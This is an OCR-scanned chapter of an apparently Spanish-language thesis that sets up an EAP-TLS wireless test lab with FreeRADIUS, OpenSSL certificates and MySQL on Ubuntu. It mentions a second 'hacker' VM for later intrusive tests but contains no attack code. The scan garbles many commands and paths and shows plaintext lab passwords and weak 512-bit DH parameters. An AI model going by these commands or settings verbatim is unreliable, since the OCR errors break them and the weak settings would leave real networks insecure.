MAC: 00:0C:29:C0:49:E2 \ Q0. 15: =200 A
1P: 192.168.1.12124 SO IP:192:168.14/24 / i'

Y -

~

_— i — LG/Android
iPad/iOS N MAC: 40:B0:FA:76:7C:EA
_— MAC: 28BA-BAEB:52:67
ASUS/W7
Hack
\\ AP (Fatso)fHostapd
. -

MAC: AC:72:89:86:DF:C6

Figura. 5 Topologia del escenario de prueba

Toda la informacion relevante de los equipos y la topologia se muestra

como sigue:
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2.1.3 Esquema del escenario de prueba

El esquema para el escenario de prueba se resume en la siguiente figura

para su implementacion.

MacBook Pro/OSX

Internet - Servicios

Ubuntu - Server - VM1

Freeradius -
Server

phpMyAdmin

eth0

Open SSL MySQL - DB 192.168.1.0/24

eal)/OpenWrt

Kismet

Hostapd - AP .
Wireshark 1 Wireshark 2
eth0 mon0

iPad/iOS

Figura. 6 Esquema del escenario de prueba

Como se puede ver en la figura del esquema del escenario de prueba,
en un computador MacBook Pro se realizara la instalacion de dos maquinas
virtuales (Virtual machines-VM): La primera, llamada Ubuntu—Server—VM1
que sera preparada para todo lo referente al servidor de autenticacion
RADIUS vy la conectividad con el AP; La segunda, llamada BT5r3—Hacker—
VM2 que sera implementada con todo lo necesario para la captura de
paguetes en un escenario de prueba normal o para realizar ataques en el

caso del escenario de prueba intrusivo.

Adicional, se debe preparar el autenticador, en este caso llamado AP
(Real)/OpenWrt con la instalacién de un software para la captura de
paquetes y la habilitacién del access point al internet o servicios. Se debe
verificar la correcta comunicacion con la VM1 para el acceso al servidor y la

VM2 para la captura de paquetes para su posterior analisis.
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Finalmente, se tiene que contar con los dispositivos suplicantes para
nuestra red como el equipo iPad/iOS que se muestra en el esquema

anterior.

2.2 El equipo anfitrién para el escenario de prueba

Se ha seleccionado al equipo anfitrion u hospedador para la
implementacion de este escenario de prueba a una laptop MacBook Pro, la

misma fue seleccionada por contar con las siguientes caracteristicas:

® OO About This Mac
| Overview | Displays Storage Memory Support Service

MacBook Pro

13-inch, Late 2011

Processor 2.8 GHz Intel Core i7
Memory 8 GB 1333 MHz DDR3
Graphics Intel HD Graphics 3000 512 MB

Serial Number

Software OS X 10.9.3 (13D65)

System Report... Software Update...

Figura. 7 Caracteristicas equipo anfitrion

Adicional, este equipo cuenta con un disco duro interno de 750 GB, esto
permite facilmente contener la informacién de ambas maquinas virtuales
necesarias para implementar el escenario de prueba. Caracteristicas tales,
como las del procesador de 2.8 GHz Intel Core i7 y la memoria RAM de 8GB
1333 Mhz DDR3 permiten el procesamiento fluido y estable de las maquinas

virtuales cuando estas se usen simultaneamente.
2.3 Implementacion Ubuntu — Server — VM1
Para esta maquina virtual, se instala la ultima versién de Ubuntu Server

(14.04 LTS) de 64 bits de nombre codigo: trsusty. Una vez instalada, se

debe obtener una pantalla como esta:
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Ubuntu 14.04 LTS ubuntu ttyl

ubuntu login: espel4d

Password:

Last login: Wed Jun 18 10:16:52 PDT 2014 from 192.168.1.101 on pts/0
Welcone to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-27-generic x86_64)

» Documentation: https://help.ubuntu.con/
System information as of Sat Jun 21 10:58:29 PDT 2014

System load: 1.18 Memory usage: 7%  Processes: 268
Usage of ~: 12.1% of 18.58GB Swap usage: 0% Users logged in: ©

Graph this data and manage this system at:
https://landscape.canonical .com/

espeldubuntu:~$ ifconfig
etho Link encap:Ethernet HWaddr 00:0c:29:c0:49:e2
inet addr:192.168.1.12 Bcast:192.168.1.255 Mask:255.255.255.0
inetb6 addr: feB0::20c:29ff :fec0:49e2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST HNTU:1500 Metric:1
RX packets:80 errors:0 dropped:0 overruns:0 frame:0
TX packets:39 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:7295 (7.2 KB) TX bytes:3916 (3.9 KB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1,128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Hetric:1

RX packets:0 errors:0 dropped:0 overruns:0 frane:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

espeld4@ubuntu:~$

Figura. 8 Ubuntu Server 14.04 TLS

Los siguientes comandos son recomendados después de la instalacion

de Ubuntu para su correcto funcionamiento y actualizacion:

>> espe14@ubuntu:~$ sudo —i
[sudo] password for espe14: espetesis14
>> root@ubuntu:~# tasksel

Se seleccionan las opciones que se muestran y <Ok>
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Package configuration

Software selection |
You can choose to install one or more of the following predefined
collections of software.

Choose software to install:

Basic Ubuntu server
OpenSSH server

DNS server

LAMP server

Mail server
PostgreSQL database
Print server

Samba file server
Tomcat Java server

Figura. 9 menu tasksel

>> root@ubuntu:~# apt-get update && apt-get upgrade && apt-dist
upgrade

El esquema a preparar en esta maquina virtual es la siguiente:

Ubuntu - Server - VM1

Freeradius - .
Server phpMyAdmin
L] l

Open SSL MySQL - DB

Figura. 10 Ubuntu-Server-VM1

En los pasos siguientes se realizara la instalacion paso a paso de los

modulos contenidos en el esquema de esta maquina virtual.
2.3.1 SSH
Secure Shell (SSH) es un protocolo de red de cifrado para la

comunicacion segura de datos a distancia. Se utiliza para la ejecucién

remota de comandos y otros servicios de red seguros entre dos equipos en
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red. Esto permite, entre otras cosas, la facilidad de copiar y pegar lineas de

comandos en ambientes sin interfaz grafica o poco amigable con el usuario

como lo es el servidor Ubuntu.
Se instala de la siguiente forma:
>> espe14@ubuntu:~$ sudo —i

[sudo] password for espe14: espetesis14

>> root@ubuntu:~# apt-get install ssh

Desde Terminal en el sistema operativo de Apple-OSX se puede

establecer la comunicacion segura con el servidor ingresando el comando:

>> ssh espe14@192.168.1.12
espe14: es el nombre del usuario registrado en el servidor.
192.168.1.12: es la direccion IP del servidor

Se solicitara la clave (password) del servidor, se ingresa la misma y se

presiona enter.

EXeXe) £N andrestroya — espel4@ubuntu: ~ — ssh — 80x24

Last login: Sat Jun 21 21:09:34 on ttys000

Andres-MacBook-Pro:~ andrestroya$ ssh espeld4@l92.168.1.12
espeld@192.168.1.12"'s password:

Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-27-generic x86_64)

* Documentation: https://help.ubuntu.com/

System information as of Sat Jun 21 11:00:58 PDT 2014

System load: 0.24 Processes: 272
Usage of /: 12.1% of 18.58GB Users logged in: 1
Memory usage: 15% IP address for eth®: 192.168.1.12

Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

Last login: Sat Jun 21 11:00:58 2014 from andres-mbp.lan
espeld@ubuntu:~s I

Figura. 11 SSH desde Terminal en OSX al Servidor Ubuntu
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2.3.2 FreeRADIUS - Server

FreeRADIUS es el servidor RADIUS de mayor despliegue en el mundo.
Es la base y referencia para multiples ofertas comerciales, su distribucion es

gratuita.

En el servidor Ubuntu escribimos las siguientes lineas de comando para

la instalacion:

>> espe14@ubuntu:~$ sudo —i

[sudo] password for espe14: espetesis14

>> root@ubuntu:~# apt-get install freeradius freeradius-utils freeradius-
mysql

>> root@ubuntu:~# freeradius —v

-v: Imprime informacion sobre la version del servidor

espeld4@ubuntu:~$ freeradius -v

freeradius: FreeRADIUS Version 2.1.12, for host x86_64-pc-linux-gnu, built on Fe
b 24 2014 at 14:57:57

Copyright (C) 1999-2011 The FreeRADIUS server project and contributors.

There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A

PARTICULAR PURPOSE.

You may redistribute copies of FreeRADIUS under the terms of the

GNU General Public License.

For more information about these matters, see the file named COPYRIGHT.
espeld@ubuntu:~$ [

Figura. 12 freeradius-v

>> root@ubuntu:~# /etc/init.d/freeradius restart
>> root@ubuntu:~# /etc/init.d/freeradius stop

>> root@ubuntu:~# freeradius —s —X —f
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radiusd: #### Opening IP addresses and Ports ####
listen {

type = "auth"

ipaddr *

port = @

}

listen {
type = "acct"
ipaddr = *

port = @

}

listen {
type = "auth"
ipaddr = 127.0.0.1
port = 18120

}

. adding new socket proxy address * port 58340
Listening on authentication address * port 1812
Listening on accounting address * port 1813
Listening on authentication address 127.0.0.1 port 18120 as server inner-tunnel
Listening on proxy address * port 1814
Ready to process requests.

Figura. 13 freeradius —s —X -f

Al momento de ejecutar freeradius —s —X —f se obtiene la imagen que se
muestra anteriormente, donde se comprueba que la instalacion fue exitosas

y el servidor esta listo para procesar las peticiones.

2.3.3 OpenSSL

Al establecer el escenario de prueba bajo el estandar 802.11i, se
requiere de un protocolo de autenticacion. EAP (Extensible Authentication
Protocol) es el mecanismo oficial adoptado para la autenticacion en las

redes inalambricas para las conexiones punto a punto en este modelo.

En los escenarios, se va a implementar la autenticacion EAP-TLS (EAP-
Transport Layer Security). Esto debido a que el protocolo TLS, es
considerado como uno de los mas seguros dentro de los estandares de EAP

disponibles en la actualidad.

El protocolo TLS estd basado en la arquitectura 802.1x/EAP. Los
componentes involucrados en este proceso de autenticacion son, como ya
se ha mencionado: el suplicante (equipos de los usuarios), el autenticador
(AP) y el servidor de autenticacion (RADIUS). El suplicante y el servidor
RADIUS deben soportar la autenticacion EAP-TLS. ElI AP por otra parte,
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debe dar soporte a los procesos de autenticacion (este desconoce el tipo de
protocolo EAP).

El servidor RADIUS proporciona su certificado al cliente y solicita el
certificado del cliente. El cliente, valida el certificado de servidor y responde
con un mensaje de respuesta de EAP que contiene su certificado e inicia la
negociacion para las especificaciones de cifrado. Después de validar el
certificado del cliente, el servidor responde con las especificaciones de

cifrado para la sesion.

OpenSSL es requerido para crear los certificados que permitan la
autenticacion mutua entre el usuario y el servidor RADIUS. El proceso para

la instalacion se muestra a continuacion:

>> espe14@ubuntu:~$ sudo —i

[sudo] password for espe14: espetesis14
>> root@ubuntu:~# cd /etc/ssl

>> root@ubuntu:/etc/ssl# mkdir /etc/ssl/PKI
>> root@ubuntu./etc/ssl# cd

>> root@ubuntu:~# apt-get install openssl/
>> root@ubuntu:~# openssl version

version: muestra la version de oppenssl instalada

root@ubuntu:~# openssl version
OpenSSL 1.0.1f 6 Jan 2014
root@ubuntu:~& ||

Figura. 14 openssl version

>> root@ubuntu:~# cd /etc/ssl

>> root@ubuntu./etc/ssl# nano openssl.cnf

Se edita el archivo openssl.cnf y se cambia en la seccion [CA_default ] el

parametro dir a ./PKI
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GNU nano 2.2.6 File: openssl.cnf Modified
tsa_policyl = 1.2.3.4.1
tsa_policy2 = 1.2.3.4.5.6
tsa_policy3 = 1.2.3.4.5.7

[ cal
default_ca = CA_default # The default ca section

[ CA_default ]

dir = ./PKI}| # Where everything is kept
certs = $dir/certs # Where the issued certs are kept
crl_dir = &dir/crl # Where the issued crl are kept
database = $dir/index. txt # database index file.
#unique_subject = no # Set to 'no' to allow creation of

# several ctificates with same subject.
new_certs_dir = $dir/newcerts # default place for new certs.

Get Help Y WriteOut i Read File Prev Page g Cut Text 8 Cur Pos
Exit 8] Justify Where Is Next Page UnCut Text To Spell

Figura. 15 modificacion de openssl.cnf

>> root@ubuntu./etc/ssl# cd
>> root@ubuntu:~# cd /usr/lib/ssl/misc/

>> root@ubuntu: /ust/lib/ssl/misc/# nano CA.sh

Se edita el archivo CA.sh y luego se cambia el parametro CATOP a ./PKI

GNU nano 2.2.6 File: CA.sh Modified

REQ=
CA=
VERIFY=
X509=
PKCS12=

if [ -2 ] ; then CATOP=./PKIJ]; i
CAKEY=. /cakey.pem

CAREQ=./careq.pem

CACERT=./cacert.pem

RET=0

-\?|-h|-help

Get Help ¢ WriteOut 3 Read File Prev Page gt Cut Text 8 Cur Pos
Exit 8] Justify Where Is Next Page UnCut Text To Spell

Figura. 16 Modificaciéon de CA.sh

>> root@ubuntu: /ust/lib/ssl/misc/# cd
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>> root@ubuntu:~# cd /etc/ssl

>> root@ubuntu./etc/ssl# /ust/lib/ssl/misc/CA.sh —newca

Se crea el certificado CA y se establece una clave, en este caso,

Verifying — Enter PEM pass phrase: espel14

Making CA certificate ...

Generating a 2048 bit RSA private key

eeesttt

writing new private key to './PKI/private/./cakey.pem'
Enter PEM pass phrase:

Verifying - Enter PEM pass phrase:l

Figura. 17 Creacion del certificado CA

Se ingresa la informacion como se muestra en la siguiente figura,

ademas, se debe especificar un CN (Common Name) para el servidor:

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:EC

State or Province Name (full name) [Some-State]:PICHINCHA
Locality Name (eg, city) []:QUITO

Organization Name (eg, company) [Internet Widgits Pty Ltd]:ESPE
Organizational Unit Name (eg, section) []:REDES

Common Name (e.q. server FQDN or YOUR name) []:SERVIDOR

Email Address []:info@espe.edu.ec

Please enter the following 'extra' attributes

to be sent with your certificate request

A challenge password []:espeld

An optional company name []:ESPE

Using configuration from /usr/lib/ssl/openssl.cnf
Enter pass phrase for ./PKI/private/./cakey.pem:
Check that the request matches the signature
Signature ok

Figura. 18 Poblar la informacion del certificado SERVIDOR

A continuacion se muestra los detalles o resumen del certificado creado:
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Certificate Details:
Serial Number: 16842820547415286464 (@xeSbdb80d@0A56a2c0)
Validity
Not Before: Jun 3 20:07:31 2014 GMT
Not After : Jun 2 20:07:31 2017 GMT

Subject:
countryName = EC
stateOrProvinceName = PICHINCHA
organizationName = ESPE
organizationalUnitName = REDES
commonName = SERVIDOR
emailAddress = info@espe.edu.ec

X509v3 extensions:
X508v3 Subject Key Identifier:
DA:CA:AB:64:89:E5:6A:EQ9:EF:46:65:E9:EB:C3:53:3A:F9:41:2F:28
X509v3 Authority Key Identifier:
keyid:DA:CA:AB:64:89:E5:6A:E9:EF:46:65:E9:EB:C3:53:3A:F0:41:2F:2

X509v3 Basic Constraints:
CA:TRUE
Certificate is to be certified until Jun 2 20:07:31 2017 GMT (1095 days)

Figura. 19 Detalles del certificado SERVIDOR

Se realiza la solicitud de firma para el certificado del servidor:

>>  root@ubuntu./etc/ssl# openssl req —new —nodes —keyout

PKl/server_key.pem —out PKl/server_req.pem —days 730 —config openssl.cnf

Se firma la peticion de certificado del servidor:

>> root@ubuntu./etc/ssi# openssl ca -—config openssl.cnf —policy

policy _anything —out PKl/server_cert.pem —infiles PKl/server_req.pem
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Validity
Not Before: Jun 3 20:16:23 2014 GMT
Not After : Jun 3 20:16:23 2015 GMT
Subject:

countryName = EC
stateOrProvinceName = PICHINCHA
localityName = QUITO
organizationName = REDES
organizationalUnitName = ESPE

commonName = SERVIDOR
emailAddress = info@espe.edu.ec

X589v3 extensions:

X509v3 Basic Constraints:
CA:FALSE

Netscape Comment:
OpenSSL Generated Certificate

X509v3 Subject Key Identifier:
44:F5:EB:12:63:AF:(4:24:15:02:A9:EF:97:6D:E6:D0:B4:4B:B4:0A

X509v3 Authority Key Identifier:
keyid:DA:CA:AB:64:89:E5:6A:EQ:EF:46:65:E9:EB:C3:53:3A:F9:41:2F:2

8

Certificate is to be certified until Jun 3 20:16:23 2015 GMT (365 days)
Sign the certificate? [y/n]:|l

Figura. 20 Firma del certificado creado

Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]:y

>> root@ubuntu./etc/ssl# cp PKl/server_cert.pem PKl/server_cert.pem-
backup
>> root@ubuntu:/etc/ssl# cat PKl/server_key.pem PKl/server_cert.pem >

PKl/server_keycert.pem

Se crea una peticion de firma de certificado del cliente:

>> root@ubuntu:/etc/ssl# openssl req —new —keyout PKl/client_key.pem

—out PKi/client_req.pem —days 730 —config openssl.cnf

Generating a 2048 bit RSA private key

writing new private key to 'PKI/client_key.pem'
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:|]

Figura. 21 Generacion de llave privada RSA

Verifying — Enter PEM pass phrase: espe14
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Se ingresa la informacion como se muestra en la siguiente figura,

ademas, se debe especificar un CN (Common Name) para el cliente:

writing new private key to 'PKI/client_key.pem'

Enter PEM pass phrase:

Verifying - Enter PEM pass phrase:

You are about to be asked to enter information that will be incorporated
into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Name (2 letter code) [AU]:EC

State or Province Name (full name) [Some-State]:PICHINCHA

Locality Name (eg, city) []:QUITO

Organization Name (eg, company) [Internet Widgits Pty Ltd]:ESPE
Organizational Unit Name (eg, section) []:REDES

Common Name (e.g. server FQDN or YOUR name) []:USUARIO

Email Address []:info@espe.edu.ec

Please enter the following 'extra' attributes
to be sent with your certificate request

A challenge password []:espel4d
An optional company name []:ESPEf]

Figura. 22 Detalles del certificado USUARIO

Se firma la solicitud del certificado del cliente para usuarios Mac OSX,

Linux y Android:

>>  root@ubuntu./etc/ssi# openssl ca -—config openssl.cnf —policy

policy _anything —out PKIl/client_cert.pem —infiles PKl/client_req.pem
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Validity
Not Before: Jun 3 20:24:34 2014 GMT
Not After : Jun 3 20:24:34 2015 GMT

Subject:
countryName = EC
stateOrProvinceName = PICHINCHA
localityName = QUITO
organizationName = ESPE
organizationalUnitName = REDES
commonName = USUARIO
emailAddress = info@espe.edu.ec

X509v3 extensions:

X509v3 Basic Constraints:
CA:FALSE

Netscape Comment:
OpenSSL Generated Certificate

X509v3 Subject Key Identifier:
EB:5C:65:CF:68:C9:6E:56:DB:7D:F4:40:D8:6F:C1:AB:D4:36:24:EB

X509v3 Authority Key Identifier:
keyid:DA:CA:AB:64:89:E5:6A:EQ:EF:46:65:E9:EB:C3:53:3A:F9:41:2F:2

8

Certificate is to be certified until Jun 3 20:24:34 2015 GMT (365 days)
Sign the certificate? [y/n]:J]

Figura. 23 Firma del certificado creado

Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]:y

Se exportan los certificados P12 para clientes Windows y Mac:

>> root@ubuntu./etc/ssl# openssl pkcs12 —export —in PKl/client_cert.pem
—inkey PKl/client_key.pem —out PKl/client_cert.p12 —clcerts

Enter pass phrase for PKI/client_key.pem:
Enter Export Password:
Verifying - Enter Export Password:

Figura. 24 Ingreso de clave para exportar certificado

Enter pass phrase for PKl/client_key.pem: espe14
Enter Export Password: espe14
Verifying —Enter Export Password: espe14

Se exportan los certificados P12 para clientes Android:
>> root@ubuntu./etc/ssl# openssl pkcs12 —export —in PKl/client_cert.pem

—inkey PKl/client_key.pem —certfile PKl/cacert.pem —name “Wifi” —out
PKil/client _cert.p12
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Enter pass phrase for PKI/client_key.pem:
Enter Export Password:
Verifying - Enter Export Password:

Figura. 25 Ingreso de clave para exportar certificado

Enter pass phrase for PKl/client_key.pem: espe14
Enter Export Password: espe14
Verifying —Enter Export Password: espe14

Configuracion para FreeRADIUS:

>> root@ubuntu./etc/ssl# cp /etc/ssl/PKl/cacert.pem
/etc/freeradius/certs/cacert.pem

>> root@ubuntu./etc/ssl# cp /etc/ssl/PKl/server_keycert.pem
/etc/freeradius/certs/server_keycert.pem

>> root@ubuntu./etc/ssl# cd

>> root@ubuntu:~# cd /etc/freeradius/certs/

>> root@ubuntu./etc/freeradius/certs/# openssl dhparam —check —text -5
512 —out dh

Generating DH parameters, 512 bit long safe prime, generator 5
This is going to take a long time

ssetii ittt sttt sttt sttt st sssasananas I T I R R R R Foeane
......... Feterencsnsnsnssssssssssssssssssstiirisrssssssssssssssssstiiiiitiintnnnnns
..... FeterenencsnsssssssssssssssssssssFiirisrssssssss ittt ittt sttt ss st nnnn
sessteiananan AR R R R R I I A Ferenennnnnnns
.............. AR R R T T
.................................... AR R I I I R R R
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B I R R R R R R R R I I R I R Ferennnnnnnnns
................... Feeetiernnttrssrssssssssstiitiiiicinetiiiietii i tii it iii i i
MR o, Feeeesntnnnnnns
.......................................................................... F+oaaat
setiiittstt sttt sttt MR Feieerennnnnnns MR Feeennn
.............................. Feeresssssssssssstircinssnnsstitiiiiiitiiiiiinann
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DH parameters appear to be ok.
Figura. 26 Generacion de parametros DH

>> root@ubuntu./etc/freeradius/certs/# dd if=/dev/urandom of=random

count=2
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2+0 records in
2+0 records out
1024 bytes (1.0 kB) copied, ©0.0278108 s, 36.8 kB/s

Figura. 27 Cuenta igual a 2

>> root@ubuntu./etc/freeradius/certs/# chown freerad dh
>> root@ubuntu./etc/freeradius/certs/# chmod o-w dh

>> root@ubuntu./etc/freeradius/certs/# cd

>> root@ubuntu:~# cd /etc/freeradius/

>> root@ubuntu./etc/freeradius# rm —R eap.conf

>> root@ubuntu./etc/freeradius# nano eap.conf

Se debe ingresar toda la informacion que se muestra en la figura
siguiente, para definir los parametros y el uso del protocolo TLS en el

archivo eap.conf.

GNU nano 2.2.6 File: eap.conf

eap {
default_eap_type = tls
timer_expire = 60
ignore_unknown_eap_types = no
cisco_accounting_username_bug = no

tls {
certdir = ${confdir}/certs
cadir = ${confdir}/certs
D private_key_password = whatever
private_key_file = ${certdir}/server_keycert.pem
certificate_file = ${certdir}/server_keycert.pem
CA_file = ${cadir}/cacert.pem
dh_file = ${certdir}/dh
random_file = ${certdir}/random
fragment_size = 1024
include_length = yes
check_cert_cn = %{User-Name}
cipher_list = "DEFAULT"

peap {
}

default_eap_type = mschapv2

mschapv2 {
}

}
Get Help ) WriteOut i Read File Prev Page gt Cut Text Cur Pos
Exit ) Justify Where Is Next Page UnCut Text To Spell

Figura. 28 Ingreso de parametros en eap.conf
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Mas adelante se ve la instalacion de los certificados obtenidos en esta

seccion para las diferentes plataformas: Mac OSX, iOS, Windows y Android.

2.3.4 MySQL

MySQL es un sistema de libre acceso de codigo abierto RDBMS
(Relational Database Management System) que utiliza lenguaje SQL
(Structured Query Language). SQL es el lenguaje mas popular para anadir,
acceder y gestionar contenidos en una base de datos. Es el mas conocido
por su rapido procesamiento, fiabilidad probada, facilidad y flexibilidad en su

uso.

Para realizar la instalacion de MySQL, se procede con las siguientes

lineas de comando:

>> espe14@ubuntu:~$ sudo —i
[sudo] password for espe14: espetesis14

>> root@ubuntu:~# apt-get install mysql-server freeradius-mysql

Se ingresa una nueva clave de acceso para este servidor MySQL. Esto
permite que el usuario con privilegios “root” pueda administras la base de
datos (DB).
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Package configuration

{ Configuring mysql-server-5.5 |
While not mandatory, it is highly recommended that you set a password
for the MySQL administrative "root" user.

If this field is left blank, the password will not be changed.

New password for the MySQL "root" user:

blokokokokok

<0k>

Figura. 29 Configurando el servidor MySQL

Se repite la clave ingresada para el servidor. Esto con la finalidad de

verificar que sea la misma.

Configuring mysqgl-server-5.5

Repeat password for the MySQL "root" user:

blokokokakok

<0k>

Figura. 30 Verificacion de clave para MySQL

>> root@ubuntu:~#mysql --version

--version: muestra la versién de MySQL instalada

root@ubuntu:~# mysgql —--version

mysgl Ver 14.14 Distrib 5.5.37, for debian-linux-gnu (x86_64) using readline 6.
3

root@ubuntu:~# [J

Figura. 31 Version de MySQL

>> root@ubuntu:~# echo “create database radius;” | mysql —u root —p
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Después de este comando, se solicitara el ingreso de la clave de la base
de datos (Enter password:). En este caso: espe14. Se ingresa la clave cada

vez que se solicite para realizar los cambios en la DB.

>> roof@ubuntu:~# echo “grant all on radius.” to radius@’localhost’
identified by ‘radius’; flush privileges;” | mysql —u root —p

>> root@ubuntu:~# mysql —u root —p radius <
/etc/freeradius/sql/mysql/schema.sql

>> root@ubuntu:~# mysql —u root —p radius <
/etc/freeradius/sql/mysql/nas.sql

>> root@ubuntu:~# mysql —u root —p radius <
/etc/freeradius/sql/mysql/ippool.sql

>> root@ubuntu:~# cd /etc/freeradius

>> root@ubuntu./etc/freeradius# nano radiusd.conf

Para incluir el médulo sql.conf se borra el comentario de la linea que se

muestra en la siguiente figura al remover el #.

GNU nano 2.2.6 File: radiusd.conf Modified

#

# For all EAP related authentications.

# Now in another file, because it is very large.
#

$INCLUDE eap.conf

# Include another file that has the SQL-related configuration.
# This is another file only because it tends to be big.
#

# $INCLUDE sql.conf

This module is an SQL enabled version of the counter module.

Rather than maintaining seperate (GDBM) databases of
accounting info for each counter, this module uses the data
stored in the raddacct table by the sql modules. This
module NEVER does any database INSERTs or UPDATEs. It is
totally dependent on the SQL module to process Accounting

Get Help ¢ WriteOut il Read File Prev Page g Cut Text 8 Cur Pos
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Figura. 32 Cambios en radiusd.conf

R R RR

>> root@ubuntu./etc/freeradius# nano sql.conf



Se edita el archivo sql.confy se cambia el parametro password a

“radius’.

GNU nano 2.2.6 File: sql.conf Modified

# Which FreeRADIUS driver to use.
#
driver = "rlm_sql_s${databasel}"

# Connection info:

server = "localhost"
#port = 3306
login = "radius"

[ password = "radius"

# Database table configuration for everything except Oracle

radius_db = "radius"

# If you are using Oracle then use this instead

# radius_db = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=1localhost) (PORS$

If you want both stop and start records logged to the
same SQL table, leave this as is. If you want them in
different tables, put the start table in acct_tablel
and stop table in acct_table2

Get Help ) WriteOut i Read File Prev Page g Cut Text 8 Cur Pos
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Figura. 33 Cambios en sql.conf en password

R R

Se cambia el parametro readclients a yes.

GNU nano 2.2.6 File: sql.conf Modified

# limit the number of queries performed over one socket. After
# "max_geuries", the socket will be closed. Use @ for "no limit".
max_queries = 0

# Set to 'yes' to read radius clients from the database ('nas' table)
# Clients will ONLY be read on server startup. For performance

# and security reasons, finding clients via SQL queries CANNOT

# be done "live" while the server is running.

#

Feadclients = yes

# Table to keep radius client info
nas_table = "nas"

# Read driver-specific configuration
$INCLUDE sql/${database}/dialup.conf

Get Help ) WriteQut i Read File Prev Page g Cut Text 8 Cur Pos
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Figura. 34 Cambios en sql.conf en readclients

>> root@ubuntu./etc/freeradius# cd

43
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>> root@ubuntu:~# cd /etc/freeradius/sites-available/

>> root@ubuntu./etc/freeradius/sites-available# nano inner-tunnel

Se Incluye el modulo sql en la seccion de authorized en el archivo de
inner-tunnel, des comentando la linea que se muestra en la siguiente figura

al remover el #.

GNU nano 2.2.6 File: inner-tunnel Modified

#
# Read the 'users' file
files

Look in an SQL database. The schema of the database
is meant to mirror the "users" file.

See "Authorization Queries" in sql.conf
gl

v R R R

#
# If you are using /etc/smbpasswd, and are also doing
# mschap authentication, the un-comment this line, and
# configure the 'etc_smbpasswd' module, above.
# etc_smbpasswd
#
Get Help Y WriteOut i Read File Prev Page gyt Cut Text 8 Cur Pos
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Figura. 35 Cambios en inner-tunnel en readclients

También, se incluye el médulo sql en la seccion de session en el archivo
de inner-tunnel, des comentando la linea que se muestra en la siguiente

figura al remover el #.
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GNU nano 2.2.6 File: inner-tunnel Modified
R There are no accounting requests inside of EAP-TTLS or PEAP
# tunnels.
#

AR AR R AR R AR R AR R R AR R AR R R AR R R AR R A AR R AR R R AR R AR AR AR R RAR R AR AR AR A RARRARR

# Session database, used for checking Simultaneous-Use. Either the radutmp
# or rlm_sql module can handle this.
# The rlm_sql module is *much* faster

session {

radutmp

#

# See "Simultaneous Use Checking Queries" in sql.conf
[ sql
}

# Post-Authentication

Get Help ¢ WriteOut i Read File Prev Page g Cut Text 8 Cur Pos
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Figura. 36 Cambios en inner-tunnel en session

>> root@ubuntu:/etc/freeradius/sites-available# nano defaul

Se tiene que incluir el médulo sq/ en la seccion de authorized en el
archivo de default, des comentando la linea que se muestra en la siguiente

figura al remover el #.

GNU nano 2.2.6 File: default

3

# Look in an SQL database. The schema of the database
# 1s meant to mirror the "users" file.
=

#

See "Authorization Queries" in sql.conf

# If you are using /etc/smbpasswd, and are also doing
# mschap authentication, the un-comment this line, and
# configure the 'etc_smbpasswd' module, above.

# etc_smbpasswd

#
# The ldap module will set Auth-Type to LDAP if it has not
# already been set

# ldap

[ Wrote 646 lines ]
Get Help | WriteOut 3 Read File Prev Page g Cut Text 4 Cur Pos
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Figura. 37 Cambios en default en authorized



46

Incluimos el moédulo sql en la seccién de accounting en el archivo de
default, des comentando la linea que se muestra en la siguiente figura al

remover el #.

GNU nano 2.2.6 File: default Modified

#
# For Simultaneous-Use tracking.
#
# Due to packet losses in the network, the data here
# may be incorrect. There is little we can do about it.
radutmp

# sradutmp

# Return an address to the IP Pool when we see a stop record.
# main_pool

#
# Log traffic to an SQL database.
#

# See "Accounting queries" in sqgl.conf
[ sql

#
# If you receive stop packets with zero session length,

Get Help Y WriteOQut 4 Read File Prev Page gt Cut Text 8 Cur Pos
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Figura. 38 Cambios en default en accounting

El médulo sq/ es habilitado en la seccion de session en el archivo de
default, des comentando la linea que se muestra en la siguiente figura al

remover el #.

GNU nano 2.2.6 File: default Modified

# Session database, used for checking Simultaneous-Use. Either the radutmp
# or rlm_sql module can handle this.
# The rlm_sql module is *much* faster

session {
radutmp
#
# See "Simultaneous Use Checking Queries" in sqgl.conf
i sql
}
# Post-Authentication
# Once we KNOW that the user has been authenticated, there are

Get Help ) WriteOut i Read File Prev Page g Cut Text 8 Cur Pos
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Figura. 39 Cambios en default en session
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>> root@ubuntu./etc/freeradius/sites-available# cd
>> root@ubuntu:~# cd /etc/freeradius/sql/mysql/

>> root@ubuntu:/etc/freeradius/sql/mysql# nano admin.sql

En el archivo admin.sql, se cambia el parametro PASSWORD a asttro14.

GNU nano 2.2.6 File: admin.sqgl Modified

# —— text —%-

#E

## admin.sql -- MySQL commands for creating the RADIUS user.
##

## WARNING: You should change 'localhost' and 'radpass'
#3 to something else. Also update raddb/sql.conf
## with the new RADIUS password.

##

## $Id$

#

# Create default administrator for RADIUS

#

CREATE USER 'radius'@'localhost';
SET PASSWORD FOR 'radius'@'localhost' = PASSWORD('asttr014E):

# The server can read any table in SQL
GRANT SELECT ON radius.* TO 'radius'@'localhost’';
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Figura. 40 Cambios en admin.sql

2.3.5 phpMyAdmin

phpMyAdmin es una herramienta de software libre escrito en PHP, tiene
la intencidn o propdsito de manejar la administraciéon de MySQL a través de
la Web.

phpMyAdmin es compatible con una amplia gama de operaciones en
MySQL, MariaDB y Drizzle. Operaciones de uso frecuente (gestion de bases
de datos, tablas, columnas, relaciones, indices, usuarios, permisos, etc) que
pueden realizarse mediante la interfaz del usuario, ademas se mantiene la

